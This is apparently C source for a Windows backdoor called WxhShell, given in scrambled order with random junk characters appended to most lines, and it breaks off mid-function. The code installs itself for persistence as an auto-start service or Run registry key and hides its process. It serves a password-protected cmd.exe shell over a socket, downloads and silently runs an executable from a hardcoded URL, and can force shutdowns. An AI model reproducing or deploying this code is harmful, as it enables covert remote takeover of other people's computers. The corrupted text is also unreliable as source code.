  case 'd': { {e6 KJ@H6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^6&_| f  
    if(Boot(SHUTDOWN)) + o{*r#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $P_x v  
    else { =VCQ*  
    closesocket(wsh); r$?Vx_f`Q  
    ExitThread(0); 6'vi68  
    } .r*#OUC  
    break; @:IL/o*  
    } kpWzMd &RK  
  // 获取shell AA_@\: w^  
  case 's': { w?/f Zx  
    CmdShell(wsh); ze$Y=<S  
    closesocket(wsh); F b2p(.  
    ExitThread(0); z^9E;  
    break; cyHhy_~R  
  } lkN'uZ  
  // 退出 Jbkt'Z(&J  
  case 'x': { A_]D~HH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^K/G5  
    CloseIt(wsh); vQcUaPm\$  
    break; K~$35c3M  
    } `L;OY 4  
  // 离开 >z5Oy  
  case 'q': { CY5w$E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >waN;&>/  
    closesocket(wsh); "s> >V,  
    WSACleanup(); !2wETs?  
    exit(1); wyNC|P;j$g  
    break; +{'lZa  
        } `fLfT'  
  } HmFNE$k  
  } vD_u[j]  
we }#Ru*  
  // 提示信息 QT7_x`#J~o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e7h\(`J0lj  
} \A ;^ UxG  
  } x}_rnf_  
+&(J n  
  return; 3V"dG1?  
} QaIi.* tic  
IC\E,m  
// shell模块句柄 EgFl="0  
int CmdShell(SOCKET sock) B%)zGTp6  
{ k:`a+LiZ  
STARTUPINFO si; |e~u!V\m  
ZeroMemory(&si,sizeof(si)); ,!jR:nApE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D\n>*x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N&x@_t""   
PROCESS_INFORMATION ProcessInfo; 0 PR4g}"  
char cmdline[]="cmd"; /7.wQeL9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7 FEzak'  
  return 0; "sdcP8])d  
} q$ bHO  
[kVpzpGr  
// 自身启动模式 GU2]/\W*a  
int StartFromService(void) $_ST:h&C  
{ [^h/(a`  
typedef struct e6Wl7&@6  
{ D WsCYo  
  DWORD ExitStatus; I|GV :D  
  DWORD PebBaseAddress; ]kyle3#-~  
  DWORD AffinityMask; ?aP1  
  DWORD BasePriority; >l y&+3S  
  ULONG UniqueProcessId; J,CJPUf&  
  ULONG InheritedFromUniqueProcessId; e{c._zr,  
}   PROCESS_BASIC_INFORMATION; Wh#os,U$  
\Mobq  
PROCNTQSIP NtQueryInformationProcess; F! |TW6)gv  
x0}<n99qE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lr!L}y9T+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,ivWVsN*]  
8#[%?}tK  
  HANDLE             hProcess; V#n?&-{V  
  PROCESS_BASIC_INFORMATION pbi; KfJ c  
@h,h=X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g?k#wj1uH  
  if(NULL == hInst ) return 0; p{\qSPK  
' [7C~r{%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mtiO7w"M\7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d;@E~~o?B]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G_7ks]u-  
Z&?+&q r^  
  if (!NtQueryInformationProcess) return 0; wN/*|?`Z  
V1UUAvN7s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *!wO:< -  
  if(!hProcess) return 0; b |o`Q7Hj  
WrIL]kJw^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RE(=! 8lGR  
hIE%-gZ/  
  CloseHandle(hProcess); \ N-| iq  
ZC9.R$}Kl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wfU&{7yt  
if(hProcess==NULL) return 0; "4Wp>B  
7g4M/?H}K  
HMODULE hMod; I8pv:>EhC  
char procName[255]; 3. K{T  
unsigned long cbNeeded; Lk8W&|;0|  
v"G%5pq*\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zx_O"0{5  
-Ib+#pX  
  CloseHandle(hProcess); auyKLT3C  
?-RoqF  
if(strstr(procName,"services")) return 1; // 以服务启动 1OfSq1G>v$  
3<~2"@J  
  return 0; // 注册表启动 QTrlQH&p  
} D:RBq\8  
u+I r:k  
// 主模块 /w}B07.  
int StartWxhshell(LPSTR lpCmdLine) D=q;+,Pc  
{ `K@df<}%*,  
  SOCKET wsl; tehI!->l  
BOOL val=TRUE; F'Y 2f6B  
  int port=0; `lV  
  struct sockaddr_in door; } K hq  
R|Q_W X  
  if(wscfg.ws_autoins) Install(); :DJ7d  
:+?W  
port=atoi(lpCmdLine); ,:dEEL+>c  
6iV"Tl{z-  
if(port<=0) port=wscfg.ws_port; P(YG@  
c|!A?>O?i  
  WSADATA data; w$U/;C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W2W2WyPk  
\+evZ{Pu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fv7%TK{oe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >b!X&JU  
  door.sin_family = AF_INET; -'p@ lk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5sh u76  
  door.sin_port = htons(port); ma]F%E+$  
v ACsppa>#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &T|&D[@  
closesocket(wsl); 'Kso@St`o  
return 1; #@\NdW\  
} 5?~[|iPv  
/ Vm}+"BCS  
  if(listen(wsl,2) == INVALID_SOCKET) { ~b6<uRnM.  
closesocket(wsl); mJDKxgGK  
return 1; v(Zi;?c  
} ,b.4uJg'  
  Wxhshell(wsl); a+>W  
  WSACleanup(); D8D!16_  
f;tyoN0wHx  
return 0; ch,Zk )y:_  
h@m n GE  
} ID)gq_k[8,  
o"ah\"#el  
// 以NT服务方式启动 >eG&gc@$1$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vg,>7?]6h  
{ 1={Tcq\]  
DWORD   status = 0; h3d\MYO)B  
  DWORD   specificError = 0xfffffff; t{S{!SF4  
%}ApO{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X,Q=n2X?3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IL6f~!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0-~6} r$  
  serviceStatus.dwWin32ExitCode     = 0; ks#Z~6+3  
  serviceStatus.dwServiceSpecificExitCode = 0; /jn3'q_,  
  serviceStatus.dwCheckPoint       = 0; 4@mXtA  
  serviceStatus.dwWaitHint       = 0; } @fu~V/  
M+R)P +  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j.'"CU  
  if (hServiceStatusHandle==0) return; \`p~b(  
cJWfLD>2_!  
status = GetLastError(); .iN*V|n  
  if (status!=NO_ERROR) J_[[BJ&}x  
{ ]z q_gV8k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PD T\Q\J^X  
    serviceStatus.dwCheckPoint       = 0; +-!|%jG`%v  
    serviceStatus.dwWaitHint       = 0; b`W'M :$  
    serviceStatus.dwWin32ExitCode     = status; ?^$4)Y>Kf  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^.1VhTB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B{o\RNU  
    return; nC!^,c  
  } \;:@=9`  
"`3 ^M vC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pOI`,i}.  
  serviceStatus.dwCheckPoint       = 0; M7<#=pX&  
  serviceStatus.dwWaitHint       = 0; @oc%4~zl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]vkHU6d  
} .f<VmUca  
]|La MMD  
// 处理NT服务事件,比如:启动、停止 hCvLwZ?LF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ufe  
{ :9 iOuu  
switch(fdwControl) Nx (pJp{S  
{ $0S"Lh{  
case SERVICE_CONTROL_STOP: kbT-Oz  2  
  serviceStatus.dwWin32ExitCode = 0; pdha" EV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OUk5c$M(  
  serviceStatus.dwCheckPoint   = 0; b G5  
  serviceStatus.dwWaitHint     = 0; |Sv#f2`  
  { jG(~9P7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PW//8lsR  
  } >Wit"p  
  return; ZFuJ2 :  
case SERVICE_CONTROL_PAUSE: @$yYljP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cTa D{!zm5  
  break; 6`";)T[G9  
case SERVICE_CONTROL_CONTINUE: <d&)|W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W>wi;Gf#  
  break; 2-c0/?_4  
case SERVICE_CONTROL_INTERROGATE: d~Ry>   
  break; H'\EA(v+  
}; bl>b/u7/6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g?AqC  
} R|$`MX}'z  
A}Dpw[Q2@8  
// 标准应用程序主函数 5YH mp7c-z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wVJFA1  
{ Ahbu >LPk  
X|1YGZJ  
// 获取操作系统版本 !K~$ -jlT  
OsIsNt=GetOsVer(); yj+b/9My   
GetModuleFileName(NULL,ExeFile,MAX_PATH); sfPN\^k2  
71&+dC  
  // 从命令行安装 gG;W:vR}l  
  if(strpbrk(lpCmdLine,"iI")) Install(); to|9)\  
RZh)0S>J  
  // 下载执行文件 4bzn^  
if(wscfg.ws_downexe) { w ]-iM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OLup`~  
  WinExec(wscfg.ws_filenam,SW_HIDE); G(\1{"!  
} }~'Wz*Gm  
"}+/ 0$F  
if(!OsIsNt) { ;L%~c4`l~m  
// 如果时win9x,隐藏进程并且设置为注册表启动 vGHYB1=~  
HideProc(); T>%ny\?tHW  
StartWxhshell(lpCmdLine); JsEEAM:w  
} be%*0lr  
else VX[!Vh  
  if(StartFromService()) X@q1;J  
  // 以服务方式启动 6MNA.{Jdd  
  StartServiceCtrlDispatcher(DispatchTable); l4reG:uYG  
else xi. KD  
  // 普通方式启动 V(uRKu x  
  StartWxhshell(lpCmdLine); !D&MJThNy  
kD7(}N8YR  
return 0; ld?.o/  
} -fgKSJ7  
BIf].RY  
azc:C  
Hbc&.W;g7[  
=========================================== +##I4vP  
NB +O;  
2vQ^519  
$QBUnLOek&  
z35Rjhj9  
$-fY8V3[  
" \U>Kn_7m  
E"&9FxS]^  
#include <stdio.h> jUSr t)o03  
#include <string.h> >! .9g  
#include <windows.h> =T}uQ$X  
#include <winsock2.h> J4#]8!A  
#include <winsvc.h> xumv I{  
#include <urlmon.h>  " 1Aus  
NP*0WT_gB  
#pragma comment (lib, "Ws2_32.lib") wT yM9wz&  
#pragma comment (lib, "urlmon.lib") q#3X*!)  
^(vd8&71  
#define MAX_USER   100 // 最大客户端连接数 ?+=|{{l  
#define BUF_SOCK   200 // sock buffer }?kO<)d  
#define KEY_BUFF   255 // 输入 buffer q:sR zX  
R_n-&d 'PP  
#define REBOOT     0   // 重启 [V0h9!  
#define SHUTDOWN   1   // 关机 Nb/%>3O@  
fEv36xb2S  
#define DEF_PORT   5000 // 监听端口 :ygz/L  
Qo *]l_UO;  
#define REG_LEN     16   // 注册表键长度 ACltV"dB^  
#define SVC_LEN     80   // NT服务名长度 }*R6p?L5  
7"i*J6y*  
// 从dll定义API a`Z f_;$@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9'h^59  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !OgoV22  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o|q#A3%?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S6tH!Z=(g  
{o%R~{6  
// wxhshell配置信息 .Kwl8xRg  
struct WSCFG { (C@@e'e  
  int ws_port;         // 监听端口 htym4\Z=  
  char ws_passstr[REG_LEN]; // 口令 7'uc;5:  
  int ws_autoins;       // 安装标记, 1=yes 0=no !I_4GE,  
  char ws_regname[REG_LEN]; // 注册表键名 @{lnfOESl  
  char ws_svcname[REG_LEN]; // 服务名 _/ZY&5N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N&`ay{&`:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UOOme)\>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :XZ pnjj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hj,x~^cS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oH"N>@Vl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+pJv0u  
.9Fm>e+!C  
}; ZE` {J =,  
c iX2G  
// default Wxhshell configuration P,_E 4y  
struct WSCFG wscfg={DEF_PORT, 1hij4m$b  
    "xuhuanlingzhe", a"aV&t  
    1, l:f sZO4  
    "Wxhshell", ?s33x#  
    "Wxhshell", gwNkjI= ,  
            "WxhShell Service", pj]<i.p  
    "Wrsky Windows CmdShell Service", +(%[fW  
    "Please Input Your Password: ", 3: Uik  
  1, O_^h 7   
  "http://www.wrsky.com/wxhshell.exe", >O~5s.1u  
  "Wxhshell.exe" nVzo=+Yp  
    };  V}qmH2h  
Dm#k-y  
// 消息定义模块 p#2th`M:P1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z- (HDn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P\e%8&_U/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )zo ;r!eP  
char *msg_ws_ext="\n\rExit."; '%N)(S`O7P  
char *msg_ws_end="\n\rQuit."; j83 V$ Le  
char *msg_ws_boot="\n\rReboot..."; _@2G]JD  
char *msg_ws_poff="\n\rShutdown..."; e IA=?k.y  
char *msg_ws_down="\n\rSave to "; J]B5w{??b  
N<99K!   
char *msg_ws_err="\n\rErr!"; Z]BR Mx  
char *msg_ws_ok="\n\rOK!"; gBu4`M  
lV'83  
char ExeFile[MAX_PATH]; =w-H )  
int nUser = 0; aK'r=NU  
HANDLE handles[MAX_USER]; ;zDc0qpw  
int OsIsNt; to7)gOX(  
|=s3a5sl  
SERVICE_STATUS       serviceStatus; KK</5Aw9p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Y^ YKV{  
qa6~N3*  
// 函数声明 +E4 _^  
int Install(void); ez{&Y>n  
int Uninstall(void); n} {cs  
int DownloadFile(char *sURL, SOCKET wsh); LKcrr;  
int Boot(int flag); @HI5; z  
void HideProc(void); }R$%MU5::  
int GetOsVer(void); v<1;1m  
int Wxhshell(SOCKET wsl); NO ^(D+9  
void TalkWithClient(void *cs); QUf_fe!,|  
int CmdShell(SOCKET sock); gp=0;#4 4  
int StartFromService(void); 'Iu(lpF&  
int StartWxhshell(LPSTR lpCmdLine); *OiHrI9y  
wn`budH?c8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O5 SX"A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?*,q#ZkA9W  
v(`$%V.  
// 数据结构和表定义 ?9+;[X  
SERVICE_TABLE_ENTRY DispatchTable[] = 2uIAnbW]M  
{ FhGbQJ?[3  
{wscfg.ws_svcname, NTServiceMain}, Q*: Ow]  
{NULL, NULL} 14RL++  
}; pjFgIG2=9  
B|v fkX2f  
// 自我安装 d@hJ=-4  
int Install(void) 16vfIUtb  
{ f$|v  
  char svExeFile[MAX_PATH]; K-ebAaiC  
  HKEY key; STe;Sr&p  
  strcpy(svExeFile,ExeFile); AI2CfH#:C  
h*LIS@&9C5  
// 如果是win9x系统,修改注册表设为自启动 }qTvUs  
if(!OsIsNt) { /hQ!dU.+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X}$S|1CjO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @kw=0  
  RegCloseKey(key); \#slZ;&s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lst5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :[doYizk:  
  RegCloseKey(key); lV8Mr6m  
  return 0; N5^:2ag  
    } +Q.[W`goV  
  } M:x(_Lu  
} +dfSCs  
else { sC>8[Jatd  
2 E^P=jU`  
// 如果是NT以上系统,安装为系统服务 ("Zi,3"+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -IE;5f#e  
if (schSCManager!=0) d9s"y?8  
{ _ 0-YsD  
  SC_HANDLE schService = CreateService Y%3j >_\;  
  ( D%zIm,bf  
  schSCManager, ",a fv{C  
  wscfg.ws_svcname, ScEM#9T|  
  wscfg.ws_svcdisp, Z_%>yqDC  
  SERVICE_ALL_ACCESS, H,'c&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]P.S5s'  
  SERVICE_AUTO_START, *h Ur E  
  SERVICE_ERROR_NORMAL, 8QU`SoS9  
  svExeFile, EOL03N   
  NULL, ~0L>l J  
  NULL, E%TvGe;#  
  NULL, vsK>?5{C-  
  NULL, -Db(  
  NULL g(1'i1  
  ); c c:xT0Y  
  if (schService!=0) ~1p f ?  
  { 3XIxuQwf  
  CloseServiceHandle(schService); ; ?!sU  
  CloseServiceHandle(schSCManager); OX91b<A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nP.d5%E  
  strcat(svExeFile,wscfg.ws_svcname); @:}z\qBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { piU4%EO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,M9'S;&^  
  RegCloseKey(key); ]Sh&8 #  
  return 0; ][3 "xP  
    } H_9~gi  
  } SLW1]ZaG  
  CloseServiceHandle(schSCManager); F)C8LH  
} gN*8 zui  
} g& {YHq^+  
{z w#My   
return 1; gCmGFQE-f  
} V5=Injs *  
q;rU}hAzG0  
// 自我卸载 gbvBgOp  
int Uninstall(void) 5QlJX  
{ r_)*/  
  HKEY key; Mf?4 `LM  
M:ttzsd  
if(!OsIsNt) { k vb"n}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #VLTx!5o  
  RegDeleteValue(key,wscfg.ws_regname); $lvpBs  
  RegCloseKey(key); &4DWLI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1_A< nt?'R  
  RegDeleteValue(key,wscfg.ws_regname); Q~jUZ-qN  
  RegCloseKey(key); E5B:79BGO  
  return 0; Zvc{o8^z  
  } \hg12],#:@  
} !O*\|7A(  
} &Oe,$%{hBh  
else { 1&U U6|X  
AtSEKpKc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^s^X nQhE  
if (schSCManager!=0) nfc&.(6x<  
{ Jg@PhN<9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ALhu\x>AY  
  if (schService!=0) ;%Qu;FtC  
  { S^3I"B  
  if(DeleteService(schService)!=0) { Y #KgaZ7N  
  CloseServiceHandle(schService); 9T)-|fja_  
  CloseServiceHandle(schSCManager); }z}oVc  
  return 0; gVO[R6C5C  
  } ]2?t $"G8  
  CloseServiceHandle(schService); YqYCW}$  
  } .QW89e,O3  
  CloseServiceHandle(schSCManager); `w2hJP  
} 0Y{A  
} #5F\zeo@F?  
TwY]c<t  
return 1; QDs]{F#  
} G>"w$Us  
'(;`t1V8k  
// 从指定url下载文件 t 7+ifSrz  
int DownloadFile(char *sURL, SOCKET wsh) VGkwrS;+I  
{ $`mxOcBmQ  
  HRESULT hr; 4&}LYSZl  
char seps[]= "/"; >A#]60w.  
char *token; 9%pq+?u9  
char *file; +g%kr~w=  
char myURL[MAX_PATH]; Jc/*w  
char myFILE[MAX_PATH]; `|[Q]+Mx  
 LGV"WE  
strcpy(myURL,sURL); .hXxh)F  
  token=strtok(myURL,seps); l@%MS\{  
  while(token!=NULL) YRqIC -_  
  { }O-|b#Q  
    file=token; `J#(ffo-  
  token=strtok(NULL,seps); DR;rK[f  
  } NZ7g}+GTG  
m\RU |Z  
GetCurrentDirectory(MAX_PATH,myFILE); ;kDz9Va  
strcat(myFILE, "\\"); 8A#qbBD  
strcat(myFILE, file); |#>\GU=!  
  send(wsh,myFILE,strlen(myFILE),0); u?i_N0H  
send(wsh,"...",3,0); 8i;EpAwB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j@ lHgis  
  if(hr==S_OK) q{ i9VJ]  
return 0; 1TJ2HO=Y  
else N[:;f^bH49  
return 1; [2:Q.Zj  
B|zJrz0q3  
} r>+\9q1  
-A^18r  
// 系统电源模块 VyK[*k yN  
int Boot(int flag) ]yy10Pk[!  
{ INZs DM 9  
  HANDLE hToken; A\X?Aq-^'  
  TOKEN_PRIVILEGES tkp; :Xq qhG  
W1fEUVj  
  if(OsIsNt) { @@M 2s(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rOHU)2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J'jwRn  
    tkp.PrivilegeCount = 1; c 2t<WRG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @9Rg g9r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R7pdwKD  
if(flag==REBOOT) { `fYICp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -{n2^vvF  
  return 0; ge %ytrst  
} /}t>o* x  
else { (e.?). e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &@NTedg!  
  return 0; aNs~Uad1U  
} }8`W%_Yk  
  } [uqe|< :  
  else { Q8OA{EUtq  
if(flag==REBOOT) { l];w,(u{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q$x$ 4  
  return 0; ,rc?,J1l  
} o."k7fLB  
else { 845a%A$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kV9S+ME  
  return 0; : p %G+q2  
} Y>W$n9d&G2  
} ++1<A& a  
vkUXMMuf+e  
return 1; T%zCAfx m  
} >U .  
Ad$CHx-  
// win9x进程隐藏模块 rKxIOJ,T  
void HideProc(void) 0N9`WK  
{ nE;^xMOK!  
t+y$i@R:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HGIPz{/5U  
  if ( hKernel != NULL ) {S[+hUl  
  { -hL0}Wy$N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q=Xda0c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s[<a(  
    FreeLibrary(hKernel); 3*INDD=  
  } "pUqYMB2i  
{<$ D|<S  
return; 4u0\|e@a  
} NEp )V'  
z 3((L  
// 获取操作系统版本 d+DdDr  
int GetOsVer(void) CWKN0HB  
{ ^K[WFiN}  
  OSVERSIONINFO winfo; k+qxx5{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F9h'.{@d  
  GetVersionEx(&winfo); J5Pi"U$FkY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &ed&2t`Y  
  return 1; bT93R8yp  
  else ' b?' u  
  return 0; Em6P6D>S>,  
} vl}fC@%WRI  
TEB<ia3+  
// 客户端句柄模块 bzj9U>eY  
int Wxhshell(SOCKET wsl) cl2+,!:  
{ TgC8EcLr  
  SOCKET wsh; 'DLgOUvh  
  struct sockaddr_in client; 10.u  
  DWORD myID; I'sq0^  
`eZ +Pf".  
  while(nUser<MAX_USER) {9mXJu$cc  
{ MC\rx=cR\  
  int nSize=sizeof(client); m 0jm$> :Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ''. P=  
  if(wsh==INVALID_SOCKET) return 1; Q#gzk%jL@  
'2LK(uaU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0 $Ygt0d  
if(handles[nUser]==0) TTGk"2 Q'  
  closesocket(wsh); "Sx}7?8AB  
else WC0gJy  
  nUser++; ]\TYVv)  
  } KH=4A-e,0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hKx*V"7/#\  
_.}1 Y,Q  
  return 0; BeR7LV  
} +F>9hA  
6 (M^`&fl  
// 关闭 socket 1UHlA8w7 Q  
void CloseIt(SOCKET wsh) S2APqRg*  
{ N*mm[F2+F  
closesocket(wsh); uDe%M  
nUser--; D6Q6yNE  
ExitThread(0); 5>S=f{ghFw  
} ng0tNifZ;  
pYxdE|2j  
// 客户端请求句柄 76'@}wNnw  
void TalkWithClient(void *cs) V?[dg^*0  
{ r:.ydr@  
EdH;P \c  
  SOCKET wsh=(SOCKET)cs; xY_<D+ OV  
  char pwd[SVC_LEN]; bY@ S[  
  char cmd[KEY_BUFF]; ;~^9$Z@%Q  
char chr[1]; BI|BfO%F$j  
int i,j; 1K&_t  
N'5AU (  
  while (nUser < MAX_USER) { @gc|Z]CV  
G d%X> ~  
if(wscfg.ws_passstr) { B)L=)N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &gv{LJd5b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %)t9b@c!}  
  //ZeroMemory(pwd,KEY_BUFF); J 7/)XS  
      i=0; Q$`u=-h|  
  while(i<SVC_LEN) { \gU=B|W  
s3Wjg  
  // 设置超时 0`H)c) pP  
  fd_set FdRead; eV"Za.a.  
  struct timeval TimeOut; 03)R_A  
  FD_ZERO(&FdRead); )NjxKSiU@  
  FD_SET(wsh,&FdRead); FS+v YqwK  
  TimeOut.tv_sec=8; !dcG Bj  
  TimeOut.tv_usec=0; |0wHNRN_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U%PII>s'#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~#]$YoQ&O  
%C1*`"Jb&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .dE2,9{Z  
  pwd=chr[0]; s{Wj&.)M  
  if(chr[0]==0xd || chr[0]==0xa) { 1woBw>g  
  pwd=0;  ?|$IZ9  
  break; ZC!GKW P2  
  } <+r<3ZBA  
  i++; g~/@`Z2Y  
    } $D%[}[2  
,suC`)R  
  // 如果是非法用户,关闭 socket #P,C9OQD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +`(,1L1  
} $qp,7RW  
_v\L'`bif  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (\qO~)[0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wOg?.6<Kxa  
vR*TW   
while(1) { sM  _m  
CS\ E]f  
  ZeroMemory(cmd,KEY_BUFF); =Z~nzyaN  
=7l'3z8  
      // 自动支持客户端 telnet标准   {E3329t|'  
  j=0; lYq/ n&@_1  
  while(j<KEY_BUFF) { lk[BS*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iC`mj  
  cmd[j]=chr[0]; J;R1OJs S  
  if(chr[0]==0xa || chr[0]==0xd) { '*d);{D8  
  cmd[j]=0; CHGV1X,  
  break; xlHC?d0}  
  } 3[T<pAZ  
  j++; ?c7} v  
    } ^6?)EM#  
J|gRG0O9Ya  
  // 下载文件 }$wWX}@  
  if(strstr(cmd,"http://")) { ==^9_a^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2<X.kM?N{B  
  if(DownloadFile(cmd,wsh)) h,Nq:"}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;5.S"  
  else /l.ox.4z#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >vny9^_  
